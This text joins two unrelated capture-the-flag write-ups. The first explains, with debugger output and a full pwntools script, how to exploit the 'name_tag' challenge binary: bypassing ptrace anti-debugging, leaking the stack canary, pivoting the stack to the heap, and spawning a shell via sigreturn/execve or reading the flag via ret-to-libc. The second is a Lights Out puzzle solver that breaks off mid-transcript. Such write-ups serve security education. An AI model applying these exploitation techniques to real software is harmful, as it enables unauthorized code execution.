The last thing is that we see an "ID" given for the bio which is printeda decimal number of the pointer, so that is leaking the address of `bio` in theheap.
So at this point we know the following:- We can overflow `first_name` and `last_name` enough to overwrite the return pointer, but we still need to deal with the stack canary.- The application leaks the heap address
## Dynamic Analysis (Bypassing Anti-Debugging)
Next let's move on dynamic analysis and see what we can find.
```sh$ gdb -q ./name_tagpwndbg: loaded 192 commands. Type pwndbg [filter] for a list.pwndbg: created $rebase, $ida gdb functions (can be used with print/break)Reading symbols from ./name_tag...(No debugging symbols found in ./name_tag)pwndbg> runStarting program: /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag[Inferior 1 (process 97856) exited normally]```
We see that the program just exits when we try to debug it which isn't expectedsince this is an interactive program. We can also run it through `ltrace` and`strace` to get more information.
```sh$ ltrace ./name_tag_exit(0 <no return ...>+++ exited (status 0) +++
$ strace ./name_tagexecve("./name_tag", ["./name_tag"], 0x7ffd0e5f33c0 /* 58 vars */) = 0brk(NULL) = 0x988000access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=93864, ...}) = 0mmap(NULL, 93864, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f011f80b000close(3) = 0openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0n\2\0\0\0\0\0"..., 832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1839792, ...}) = 0mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f011f809000mmap(NULL, 1852680, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f011f644000mprotect(0x7f011f669000, 1662976, PROT_NONE) = 0mmap(0x7f011f669000, 1355776, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7f011f669000mmap(0x7f011f7b4000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x170000) = 0x7f011f7b4000mmap(0x7f011f7ff000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7f011f7ff000mmap(0x7f011f805000, 13576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f011f805000close(3) = 0arch_prctl(ARCH_SET_FS, 0x7f011f80a540) = 0mprotect(0x7f011f7ff000, 12288, PROT_READ) = 0mprotect(0x403000, 4096, PROT_READ) = 0mprotect(0x7f011f84c000, 4096, PROT_READ) = 0munmap(0x7f011f80b000, 93864) = 0ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)exit_group(0) = ?+++ exited with 0 +++```
So `ltrace` shows us that it just exists and doesn't even try to run. `strace` has the standard setup but then has a `ptrace(PTRACE_TRACEME)` call returningan error `EPERM (Operation not permitted)`. This is indicative of anti-debuggingprotections on the binary. So if we want to continue digging in we'll need tobypass this, we can do that by finding where this happens in the binary andpatch it to not.
Looking at the functions in Ghidra we can see an `init` function which has thefollowing assembly.
```push rbpmov rbp,rspsub rsp,0x10mov rax,0x56xor rdi,rdixor rsi,rsimov rdx,0x1xor r10,r10add rax,0xeadd rax,0x1syscallmov DWORD PTR [rbp-0x4],eaxcmp DWORD PTR [rbp-0x4],0xffffffffjne 4015cf <init+0x3c>mov edi,0x0call 401040 <_exit@plt>nopleaveret```
It's slightly obfuscated at exactly what's happening due to manipulating `rax`in multiple instructions, but this turns out to be important for certainexploits. Adding up `0x56 + 0xe + 0x1` is `101` in decimal, which is the[`sys_ptrace` syscall](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/), so the binary self-traces itself which prevents debuggers from attaching andinspecting what's going on. This is what we need to remove.
There are many ways you could do this, but the way I ended up was changing theinitial `mov rax, 0x56` instruction to a `mov rax, 0x57`. This has the effect ofchanging the syscall to `sys_getuid` which doesn't take any arguments, so thevalues of the other registers doesn't matter and this basically becomes a noop.I used the hex editor in Binary Ninja to do this, but many tools will work here.The new binary is saved as `name_tag-tracable` so we have the original and thisone around when we want to try against the real binary.
Now that we can debug it, we can provide some input and take a look at the stackto see what our options are. The disassembly above is actually slightly wrong,first name is is also a 32-byte buffer, not 40. So let's max these buffers outand take a look at the stack in GDB.
```sh$ gdb -q ./name_tag-traceablepwndbg> x/2i 0x401591 0x401591 <main+327>: leave 0x401592 <main+328>: retpwndbg> break *0x401591Breakpoint 1 at 0x401591pwndbg> runStarting program: /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable
Welcome to Bsides Boston!!!!!!!!
In order for your name tag to be created you need to fill out some information.Can you please tell us your first name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACan you please tell us a little about yourself?Bio: don't care right nowGreat!!!! Here's your name tag id: 4215456
Oh I almost forgot. Can you tell us your last name to finish up the name tag creation process? BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Name Tag:================================================| First name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA || Last name: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |================================================Bio: don't care right now
Breakpoint 1, 0x0000000000401591 in main ()pwndbg> x/14xg $rsp0x7fffffffdc50: 0x0000000000000000 0x00000000004052a00x7fffffffdc60: 0x4242424242424242 0x42424242424242420x7fffffffdc70: 0x4242424242424242 0x42424242424242420x7fffffffdc80: 0x4141414141414141 0x41414141414141410x7fffffffdc90: 0x4141414141414141 0x41414141414141410x7fffffffdca0: 0x00007fffffffdda0 0x4d53360498afcd000x7fffffffdcb0: 0x00000000004015e0 0x00007ffff7e16ccapwndbg> x/s 0x4052a00x4052a0: "don't care right now"pwndbg> x 0x4015e00x4015e0 <__libc_csu_init>: 0x8d4c5741fa1e0ff3pwndbg> x 0x7ffff7e16cca0x7ffff7e16cca <__libc_start_main+234>: 0x480001795fe8c789```
Turning this into some ASCII here is our stack from top to bottom:```[ 8-bytes] 0[ 8-bytes] bio pointer[32-bytes] last name[32-bytes] first name[ 8-bytes] stack address pointing to the value 1 (not sure what this is used for)[ 8-bytes] stack cookie[ 8-bytes] saved RBP[ 8-bytes] return pointer```
When we read into these addresses out input starts at the beginning of each of these pointers and goes down. Recall that we can read up to `64` bytes intofirst name, so we can overwrite up to the return pointer. We can read `112` intowhich will overwrite first name but allow us to go an extra `16=112-64-32` byteswhich could be helpful.
# Bypassing the stack cookie
But our first goal is to defeat the stack cookie. Without this any overwrite wedo will just fail the stack cookie check and crash. The previous output actuallyhinted at how we could do this. Did you notice that the printed last nameactually read past out input and into the first name?
This happened because it's printed with the `%s` format specifier which willprint out all bytes until a zero byte is encountered, and because of a flaw inthe `readStr` which doesn't enforce that what it reads ends in a zero byte,`printf` continues reading until the first one it sees. We can leverage thisto leak the stack cookie so that we can overwrite the buffer and still providea valid stack cookie.
From running the program multiple times you'll see that the lowest byte of thecookie is always 0. I suspect this is a protection against accidentally leakingit via other mechanisms, but we can also use this property to get a valid cookie.We want to overwrite the bytes before the cookie and the lowest byte of thecookie with non-zero values so that it will read out the highest 7 bytes of thecookie for us. Looking at the stack diagram above, we see we need to write 41bytes to overflow into the cookie.
```shpwndbg> break *0x40158aBreakpoint 2 at 0x40158apwndbg> runStarting program: /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable
Welcome to Bsides Boston!!!!!!!!
In order for your name tag to be created you need to fill out some information.Can you please tell us your first name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Welcome [email protected]> x/14xg $rsp0x7fffffffdc50: 0x0000000000000000 0x00000000004052a00x7fffffffdc60: 0x4242424242424242 0x42424242424242420x7fffffffdc70: 0x4242424242424242 0x42424242424242420x7fffffffdc80: 0x4141414141414141 0x41414141414141410x7fffffffdc90: 0x4141414141414141 0x41414141414141410x7fffffffdca0: 0x4141414141414141 0x8353d0d2ab0ab6410x7fffffffdcb0: 0x00000000004015e0 0x00007ffff7e16cca```
Since many of the bytes aren't printable it's hard to see exactly what we leakedfrom the ASCII representation, but if you capture the output and print in bytesyou'll see that we leak from the start of our first name up to the saved basepointer because the first zero byte is output. Constructing the payload on theterminal and dumping into `hexdump` we can see this the bytes in printed inlittle endian.
```sh$ python3 -c 'print("A"*40+"B")' | ./name_tag-traceable | hexdump -C...snip00000090 69 72 73 74 20 6e 61 6d 65 3f 20 0a 57 65 6c 63 |irst name? .Welc|000000a0 6f 6d 65 20 41 41 41 41 41 41 41 41 41 41 41 41 |ome AAAAAAAAAAAA|000000b0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|000000c0 41 41 41 41 41 41 41 41 41 41 41 41 42 ad 01 27 |AAAAAAAAAAAAB..'|000000d0 a3 c7 7d fd e0 15 40 0a 43 61 6e 20 79 6f 75 20 |..}[email protected] you |*** stack smashing detected ***: terminated...snip```
We use the different 41st character to easily identify where the leak starts.You can also notice that we get the "stack smashing detected" error meaning wehave overwritten the cookie as expected, but it's currently wrong. We'll fixthis later, but we know the cookie at this point because the lowest byte isalways 0 and that's the only one we overwrite, so if we set it back we have thecookie. A bitwise and will take care of this for us `cookie &=0xffffffffffffff00`.
With the cookie leaked we now have two writes left, 512 bytes to the heap and112 to last name on the stack. The second write is the one we can leverage fixthe cookie before the function returns and start a ROP, but we are limited tothree 64-bit values due to the liit on the read. If we knew the libc it wasusing we might be able to find a "one shot" gadget and return there but at thispoint we don't and due to something we'll discuss later, this wouldn't workanyways. But we do have the ability to write a lot of data to the heap, sowhat if we could write a ROP chain there and use that? Well, we can! This isa concept known as "stack pivoting" because we need to pivot the stack toa different spot so that the ROP chain will continue reading our instructions.
Because the binary leaks where the heap is, we can write a ROP chain to heap andthen have our first ROP change the stack (aka RSP) to point to that locationinstead. Becaue the heap is readable and writable this behaves basically thesame as the stack normally does. First we need to find a gadget to manipulateRSP, so we find one with ropper.
```name_tag[master*] $ ropper --file name_tag --search "pop rsp"[INFO] Searching for gadgets: pop rsp0x000000000040163d: pop rsp; pop r13; pop r14; pop r15; ret;```
To recap the plan:1. Leak the stack cookie via first_name2. Write a ROP chain to the `bio` in the heap and get the address3. Write the stack pivot ROP chain to the heap address
Looking at our previous stack chart again, our ROP payload for the stack pivotis:
```[72-bytes] padding[ 8-bytes] leaked cookie & 0xffffffffffffff00[ 8-bytes] heap address & 0xffffffffffffff00 # This makes it somewhat valid but isn't terribly important what this is set to[ 8-bytes] pop rsp gadget[ 8-bytes] heap address (new RSP)```
With this we can successfully pivot the stack into the heap with a stage 2 ROPchain. Now we need to decide what to do with it.
Our gadget will first do `pop r13; pop r14; pop r15; ret` so the first threevalues need to be whatever we want in those registers, and after that our secondROP begins. Since I don't use those registers I just set them to `1, 2, 3`accordingly. From here we have 488-bytes of a ROP chain to use and need todecide how to exploit it.
Early on I noticed the peculiar way of setting up `rax` for the ptrace syscalland you can see that there is a gadget that does `add rax,0xe; add rax,0x1;syscall` which if `rax` is 0 will set it to `15`, which is the system call for`sigreturn`, which allows us to get full control of all of the registers. Thisis a really powerful gadget and combined with the challenge description of"Libc is not needed" seems like the intended path. With sigreturn exploits youoften call the `mprotect` syscall to make a section of memory executable tobypass NX protections and then execute shellcode from it. I was initially goingto go down this route but decided that doing an `execve` syscall would beeasier, which turned out to be true, but also led to me not solving thechallenge during the CTF :(
At this point I'll branch this writeup into two sections because I have twoexploits, one that only works against the patched binary without ptrace and theother against the real challenge but an unintended solution. I haven't writtenup the official solution due to some extra complexities with doing it, but I'llalso include a brief summary of how that works too.
## Sigreturn to execve exploit
For this exploit our second rop chain will set up a sigreturn to the `execve`syscall, providing `/bin/sh` as the argument to get a shell. *THIS ONLY WORKS ONTHE PATCHED BINARY.* I couldn't figure out why this wasn't working on the realone during the CTF, but after talking with the author it seems the `ptrace` callwill trap `execve`'s with `SIGTRAP` so they just won't run which causes this, orany exploit using execve to fail. Let's set up our ROP chain to do so.
The first thing we need is a pointer to a `/bin/sh` string. From pwntools we cansearch the running binary to find if they left one for us. There's one in libcwhich is normal, but since we don't know the libc we can't use that. So we'llneed to write it to a known location so we can provide the address when we dothe syscall. We can see which sections are writable in pwntools too.
```pwndbg> search "/bin/sh"libc-2.31.so 0x7ffff7f7a143 0x68732f6e69622f /* '/bin/sh' */pwndbg> vmmap name_tagLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x401000 r--p 1000 0 /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable 0x401000 0x402000 r-xp 1000 1000 /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable 0x402000 0x403000 r--p 1000 2000 /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable 0x403000 0x404000 r--p 1000 2000 /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable 0x404000 0x405000 rw-p 1000 3000 /home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable```
So we can write to the data section and since the binary does not use PIE thisis a static location we can reference. We do need to be a bit careful writinghere since it also houses data the program uses for various purposes, but sinceour input is really short and we aren't returning back to the program we canjust write to the beginning.
After we read `/bin/sh` into that location we will want to clear out `rax` sothat when we return back to the sigreturn gadget `add rax,0xe; add rax,0x1; syscall`it sets `rax` to 15 as we want to execute the sigreturn syscall. After somegadget searching we find a gadget that can clear it for us:
```name_tag[master*] $ ropper --file name_tag --search "mov eax"[INFO] Searching for gadgets: mov eax0x0000000000401279: mov eax, 0; pop rbp; ret;```
At this point our chain is:1. Read `/bin/sh` into known location1. Clear `rax`1. sigreturn sycall
The way that sigreturn works is that it reads the values of the stack after thesyscall and loads them into the appropriate registers and transfers executionthere. There are posts which go into the details of the structure, but we justuse the pwntools class to construct it for us. Our ROP payload we write to theheap will look like this:
```pythonbin_sh_addr = 0x404000r = ROP(exe)r.readStr(bin_sh_addr, 0xff)r.raw(clear_eax)r.raw(0) # pad because the clear_eax has an extra popr.raw(sigreturn)
frame = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = bin_sh_addrframe.rsi = 0frame.rdx = 0frame.rip = syscall
payload = r.chain() + bytes(frame)```
Putting all this together and summarizing, the exploit works as follows:1. Leak stack cookie2. Write read /bin/sh and sigreturn to execve to heap3. Ovewrite stack cookie and return of main to pivot stack to heap and execute from there.4. Profit.
```shname_tag[master*] $ ./exploit.py LOCAL[+] Starting local process '/home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable': pid 101633[*] -> cookie: 0x49da6b642084c700[*] Switching to interactive mode$ iduid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),132(scanner),998(docker)```
The full code can be seen at the end of this post.
## Ret-to-libc exploit
While the author didn't indend for a ret-to-libc exploit to work, I was able touse the ROP to leak GOT addresses and found a database ((libc.rip)[http://libc.rip]) which told me theversion, so I could use the correct offsets and get the flag. We could use thisto do another `execve(`/bin/sh`, 0, 0)` but as I mentioned earlier we can'tactually run `execve` on the official binary due to the ptraceing. So we need totry and open the file, read it, and then write it back to standard out.
So here is what we need to do:1. Leak libc addresses from GOT to calculate libc base2. Create a new ROP using these addresses to read the flag file and print it
My exploit might be a little more complicated than it needs to be, but this wasafter working on this problem for many hours so I was braindead and I mean, itworks :) The complexity is that in the second ROP we actually set up fora second stack pivot to a third ROP chain. I was running into some trouble withoverwriting too much of the data section causing the program to crash soI wanted to get the heap address and be able to use that more, though theexploit only ends up reading the flag into it which is pretty small. Okay, tothe exploit.
```python# These were chosen by looking at the writable data section in the debugger to# find spots that were mostly 0s so it wouldn't break things.data_writable = 0x404f00flag_addr = 0x404e00
r = ROP(exe)# Print libc puts and malloc address from GOT.r.puts(exe.got['puts'])r.puts(exe.got['malloc'])# Read the flag file name into one location and our next ROP into anotherr.readStr(flag_addr, 0xff)r.readStr(data_writable, 0xfff)# Pivot the stack to where we are writing the next ROPr.raw(pop_rsp) # pop rsp; pop r13; pop r14; pop r15; ret;r.raw(data_writable)heap = do_rop(io, r.chain())heap += 1024 # get our of the way of our previous writes (recall our first ROP started here)
# Parse the leaked address and calculate the base address. This was sometimes# inconsistent, I asssume 0s in the addresses, which is why the length check is# there.io.recvuntil("Bio: ")leaks = io.clean()[:-1].split(b"\n")if len(leaks) < 3: returnputs_addr = int.from_bytes(leaks[-2], "little")malloc_addr = int.from_bytes(leaks[-1], "little")libc.address = puts_addr-libc.symbols['puts']
# Write flag file name to flag_addrio.sendline("./flag.txt")
# Do the open/read/write ROP, ensuring to include libc in the ROP instance so# it can find the right address.r = ROP([exe, libc])r.raw(1) # r13-15 (for the rsp gadget used to pivot stack)r.raw(2) # r13-15r.raw(3) # r13-15r.open(flag_addr, 0) # open with read permissionif args.LOCAL: # file descriptors experimentally chosen until it worked r.read(3, heap, 0xff)else: r.read(6, heap, 0xff)r.write(1, heap, 0xff) # write to stdoutio.sendline(r.chain())
# Retrieve the flag from stdout, getting rid of excess 0s printed.dat = io.recv().replace(b"\x00", b"").decode()if len(dat) > 0: print(dat)```
Running this against the real server...
```$ ./exploit.py REMOTE[*] '/home/kali/gh-ctf/bsidesbos-2020/name_tag/name_tag-traceable' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/home/kali/gh-ctf/bsidesbos-2020/name_tag/libc-2.32-x86_64.so' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to challenge.ctf.games on port 32181: Done[*] Loaded 15 cached gadgets for 'name_tag-traceable'[*] -> cookie: 0x28e854e5072aa00[*] libc: 0x7f17406d1000[*] Loaded 187 cached gadgets for './libc-2.32-x86_64.so'flag{not_your_typical_overflow}```
## Intended exploit
I wasn't able to get the indended solution working myself, but after discussingwith the author can provide a summary of how it was expected to work. tldr isthat it uses the same stack cookie leak, pivoting and sigreturn, but you aresupposed to do the mprotect syscall and read shellcode to get the flag. There'sone big gotcha with just doing mprotect that I couldn't figure out when I wastrying it.
If you take my exploit for the sigreturn to execve it will just about work, butyou'll see if you change just rax to be `constants.SYS_mprotect` it will failpretty miserably with some confusing issues. After spending some time with itI figured out the issue is that mprotect is syscall `10`, which is `0xa` in hex,and a `\n` newline in ascii. The `readStr` call we are using to read inputbreaks at `\n` so we end up with the excess bytes remaining on stdin for latercalls which ends up breaking our ROP. Ideally we could use another function outof the PLT to read bytes that doesn't do this but nothing is available except`getchar` and that would be a serious pain to read enough input with.
I tried various different ways of reading it with no success.1. In multiple chunks to avoid the `0xa` but the reading doesn't add one so it's invalid1. Use `memset` in ROP to set the byte directly, but there wasn't a `pop rdx` gadget which is needed to set the third arg.
The intended solution was to set it to `9` instead of `10` in the frame, andthen rather than setting `rip` directly to `syscall` in the sigreturn frame(standard practice), you set it to an instruction before which does `add rax,0x1; syscall`. So simple, just had to think a little bit more out of the boxthan a "standard" exploit, very cool!
## Conclusion
This challenge was really fun and I learned so much along the way. It was wellmade to force you down specific paths and had you tie a whole series of problemstogether into an exploit, but forced you to think outside of the box to geta solution.
Great job to the author and organizers! I just wish it was a longer CTF soI could have solved it during.
See my [GitHub repo for binaries, libc, etc](https://github.com/jakecraige/ctf/tree/master/bsidesbos-2020/name_tag).
## Exploit Script
```python#!/usr/bin/env python3from pwn import *
# exe = context.binary = ELF('name_tag')exe = context.binary = ELF('name_tag-traceable')
sigreturn = 0x4015b2 # add rax 14; add rax 1; syscallsyscall = 0x4015ba # syscallpop_rsp = 0x40163d # pop rsp; pop r13; pop r14; pop r15; ret;clear_eax = 0x401279 # mov eax, 0; pop rbp; ret
host = args.HOST or 'challenge.ctf.games'port = int(args.PORT or 32181)# context.log_level = "DEBUG"
if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: # Found via leaking GOT entries and querying libc.rip. It was unintended # to find a result but the author missed this site's DB. libc = ELF("./libc-2.32-x86_64.so")
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''break maincontinue'''.format(**locals())
# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000)
def do_rop(io, chain): io.sendline((b"A"*40)+b"\x01") io.recvuntil(b"A"*40) cookie = int.from_bytes(io.recv()[:8], "little") cookie &= 0xffffffffffffff00 # zero out lowest byte log.info("-> cookie: " + hex(cookie)) io.clean()
p = pack(1) + pack(2) + pack(3) # r13-15, ROP next p += chain if len(p) > 512: raise Exception("paylod too big! Max 512, was: {}".format(len(p)))
io.sendline(p) io.recvuntil("tag id: ") heap_addr = int(io.recvline()[:-1])
p = b"A"*72 p += pack(cookie) p += pack(heap_addr & 0xfffffffffffff000) # rbp p += pack(pop_rsp) # pop rsp; pop r13; pop r14; pop r15; ret; p += pack(heap_addr) # pop to esp io.sendline(p)
return heap_addr
def do_execve_shell(): """ This exploit uses ROP to read in a /bin/sh string and then uses a sigreturn to execve and get a shell. Due to the anti-debugging measures in the offical binary (it runs the ptrace syscall), this only works on patched binaries and not the real flag, but was part of my exploit development so I kept it around for example purposes. The ptrace makes it so that execve sycalls get SIGTRAP'd which stops them from executing. """ io = start()
bin_sh_addr = 0x404000 r = ROP(exe) r.readStr(bin_sh_addr, 0xff) r.raw(clear_eax) r.raw(0) # pad because the clear_eax has an extra pop r.raw(sigreturn)
frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = bin_sh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall
do_rop(io, r.chain() + bytes(frame))
io.clean() io.sendline("/bin/sh") io.interactive()
def do_libc_exploit(): """ This exploit leaks libc addresses from GOT to calculate the base address and leverages that to ROP an open/read/write flow to get the flag. """ io = start() data_writable = 0x404f00 flag_addr = 0x404e00
# First ROP is to leak the heap address and set us up for another. r = ROP(exe) r.puts(exe.got['puts']) r.puts(exe.got['malloc']) r.readStr(flag_addr, 0xff) r.readStr(data_writable, 0xfff) r.raw(pop_rsp) # pop rsp; pop r13; pop r14; pop r15; ret; r.raw(data_writable) heap = do_rop(io, r.chain()) heap += 1024 # get our of the way of our previous writes
io.recvuntil("Bio: ") leaks = io.clean()[:-1].split(b"\n") if len(leaks) < 3: return puts_addr = int.from_bytes(leaks[-2], "little") malloc_addr = int.from_bytes(leaks[-1], "little") libc.address = puts_addr-libc.symbols['puts'] log.info("libc: " +hex(libc.address))
io.sendline("./flag.txt")
r = ROP([exe, libc]) r.raw(1) # r13-15 r.raw(2) # r13-15 r.raw(3) # r13-15 r.open(flag_addr, 0) if args.LOCAL: # exerimentally chosen FDs of the open flag file r.read(3, heap, 0xff) else: r.read(6, heap, 0xff) r.write(1, heap, 0xff) io.sendline(r.chain())
dat = io.recv().replace(b"\x00", b"").decode() if len(dat) > 0: print(dat)
# do_execve_shell()do_libc_exploit()``` |
# 60 Seconds
When you connect you are greeted with:
```$ nc pwn.institute 22527 a b c d e f g h 1 0 0 1 1 1 0 0 1 2 1 1 1 1 0 0 1 0 3 1 0 1 1 1 0 1 0 4 0 1 1 0 0 0 0 1 5 1 1 1 1 0 1 0 0 6 0 1 0 1 0 1 0 1 7 1 1 0 0 0 1 1 1 8 0 1 1 0 0 1 1 1
>```
And it's basically a game of Lights Out. You put in a coordinate and the bits(lights) flip in the row/column you target. The goal is to "disarm the bomb" in less than 60 seconds.
My approach was to write a solver for the game. And the heuristinc for the solver was target the fileld where we have the highest count of 0s for a field(in it's row/column) that is an odd number. Found the solution for this in a math paper of sorts(link: [http://www.iespravia.com/rafa/luces/Lights.pdf](http://www.iespravia.com/rafa/luces/Lights.pdf), page 24):
> Solving Flip in its version All, i.e. altering all the squares in the rectangle, is very easy. The> only thing we have to do is to select all the squares in any row or column, as long as they are an> odd number. If the rectangle has even dimensions, the only solution will be selecting all the> squares.
The solver accepts an imput as follows:``` 1 0 0 1 1 1 0 0 1 2 1 1 1 1 0 0 1 0 3 1 0 1 1 1 0 1 0 4 0 1 1 0 0 0 0 1 5 1 1 1 1 0 1 0 0 6 0 1 0 1 0 1 0 1 7 1 1 0 0 0 1 1 1 8 0 1 1 0 0 1 1 1```
Discards the row for enumeration and populates the matrix. Then solves it and outputs the solution step-by-step.
For the above input, the solution is:
```b3c1f2h7d2d3f3d5e1e2b6f6f4e4e8c7e7e5a4g5g4h4a8h8```
Here's the solver code:
=> bits-out.py```python#!/usr/bin/env python3
# Just an example, will be read in at runtime.matrix = [[1, 0, 0, 0, 0, 0, 0, 0],[0, 1, 0, 0, 0, 0, 0, 0],[0, 0, 1, 0, 0, 0, 0, 0],[0, 0, 0, 1, 0, 0, 0, 0],[0, 0, 0, 1, 1, 0, 0, 0],[0, 0, 0, 0, 0, 1, 0, 0],[0, 0, 0, 0, 0, 0, 1, 0],[0, 0, 0, 0, 0, 0, 0, 1]]
# Fancy way of output for the matrix state, the way it is in the challenge.def print_matrix(a): abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'] print(" " + " ".join(abc)) for x in range(0, 8): print(" " + str(x+1) + " " + \ " ".join(str(v) for v in a[x])) print()
# Flip the bits for the y row and x column.# Used x and y for clarity same as the Cartesian coordinate system.def flip(a, y, x): b = [row[:] for row in a] for j in range(0, 8): for i in range(0, 8): if j == y or i == x: b[j][i] = (b[j][i] + 1) % 2 return b
# Calls the above, we just pass the imput as in the challenge.# ie. "b5".def coord_flip(a, coord): x = ord(coord[0]) - ord('a') y = ord(coord[1]) - ord('1') return flip(a, y, x)
# Calculate the number of 0s in the matrixdef heuristic(a, j, i): sum = 0 for y in range(0, 8): for x in range(0, 8): if (j == y or i == x) and a[y][x] == 0: sum = sum + 1 return sum
# Gives us the next move based on the heuristic:# The coord with the max odd count of 0s in its row/column.def make_heuristic(a): b = [row[:] for row in a] max_odd = 1 max_odd_move = "" for y in range(0, 8): for x in range(0, 8): c = flip(b, y, x) curr = heuristic(c, y, x) if (curr % 2 == 1) and curr > max_odd: max_odd = curr max_odd_move = yx_to_coord(y, x) return max_odd_move
# Check if all are 0s.def matrix_check(a): for y in range(0, 8): for x in range(0, 8): if a[y][x] == 1: return False return True
# return the required input for the coord as the challenge accepts it for a y, x coorddef yx_to_coord(y, x): return chr(ord('a') + x) + chr(ord('1') + y)
# Read in the initail matrix.count = 0while count < 8: line = input() row = line.split() row = row[1:] matrix[count] = [int(i) for i in row] count = count + 1
# Print was used to test out the solution manually, thus commented out.while True: # print_matrix(matrix) coord = make_heuristic(matrix) print(coord) matrix = coord_flip(matrix, coord) # coord = input("> ") # Exit if no input or q # if coord == "q" or coord == "": # exit(1) if matrix_check(matrix): # print("Solved!") exit(1)```
Connected, pasted the initial state to the solver, typed in the steps and voila.
```$ nc pwn.institute 22527 a b c d e f g h 1 0 0 1 1 1 0 0 1 2 1 1 1 1 0 0 1 0 3 1 0 1 1 1 0 1 0 4 0 1 1 0 0 0 0 1 5 1 1 1 1 0 1 0 0 6 0 1 0 1 0 1 0 1 7 1 1 0 0 0 1 1 1 8 0 1 1 0 0 1 1 1
> b3 a b c d e f g h 1 0 1 1 1 1 0 0 1 2 1 0 1 1 0 0 1 0 3 0 1 0 0 0 1 0 1 4 0 0 1 0 0 0 0 1 5 1 0 1 1 0 1 0 0 6 0 0 0 1 0 1 0 1 7 1 0 0 0 0 1 1 1 8 0 0 1 0 0 1 1 1
> c1 a b c d e f g h 1 1 0 0 0 0 1 1 0 2 1 0 0 1 0 0 1 0 3 0 1 1 0 0 1 0 1 4 0 0 0 0 0 0 0 1 5 1 0 0 1 0 1 0 0 6 0 0 1 1 0 1 0 1 7 1 0 1 0 0 1 1 1 8 0 0 0 0 0 1 1 1
> f2 a b c d e f g h 1 1 0 0 0 0 0 1 0 2 0 1 1 0 1 1 0 1 3 0 1 1 0 0 0 0 1 4 0 0 0 0 0 1 0 1 5 1 0 0 1 0 0 0 0 6 0 0 1 1 0 0 0 1 7 1 0 1 0 0 0 1 1 8 0 0 0 0 0 0 1 1
> h7 a b c d e f g h 1 1 0 0 0 0 0 1 1 2 0 1 1 0 1 1 0 0 3 0 1 1 0 0 0 0 0 4 0 0 0 0 0 1 0 0 5 1 0 0 1 0 0 0 1 6 0 0 1 1 0 0 0 0 7 0 1 0 1 1 1 0 0 8 0 0 0 0 0 0 1 0
> d2 a b c d e f g h 1 1 0 0 1 0 0 1 1 2 1 0 0 1 0 0 1 1 3 0 1 1 1 0 0 0 0 4 0 0 0 1 0 1 0 0 5 1 0 0 0 0 0 0 1 6 0 0 1 0 0 0 0 0 7 0 1 0 0 1 1 0 0 8 0 0 0 1 0 0 1 0
> d3 a b c d e f g h 1 1 0 0 0 0 0 1 1 2 1 0 0 0 0 0 1 1 3 1 0 0 0 1 1 1 1 4 0 0 0 0 0 1 0 0 5 1 0 0 1 0 0 0 1 6 0 0 1 1 0 0 0 0 7 0 1 0 1 1 1 0 0 8 0 0 0 0 0 0 1 0
